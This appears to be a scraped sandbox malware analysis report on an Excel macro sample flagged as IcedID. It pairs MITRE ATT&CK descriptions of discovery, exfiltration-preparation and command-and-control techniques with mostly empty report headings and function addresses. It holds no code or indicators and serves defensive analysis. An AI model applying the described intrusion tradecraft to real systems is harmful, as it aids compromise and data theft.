Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report HRcontacts7752205.xlsm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: IcedID

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Function 003127BC, Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Function 00312434, Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Function 00311E50, Relevance: .0, Instructions: 47
COMMON

Function 001B27BC, Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Function 001B2434, Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Function 001727BC, Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Function 00172434, Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Function 00172C08, Relevance: 1.6, APIs: 1, Instructions: 65
memoryCOMMON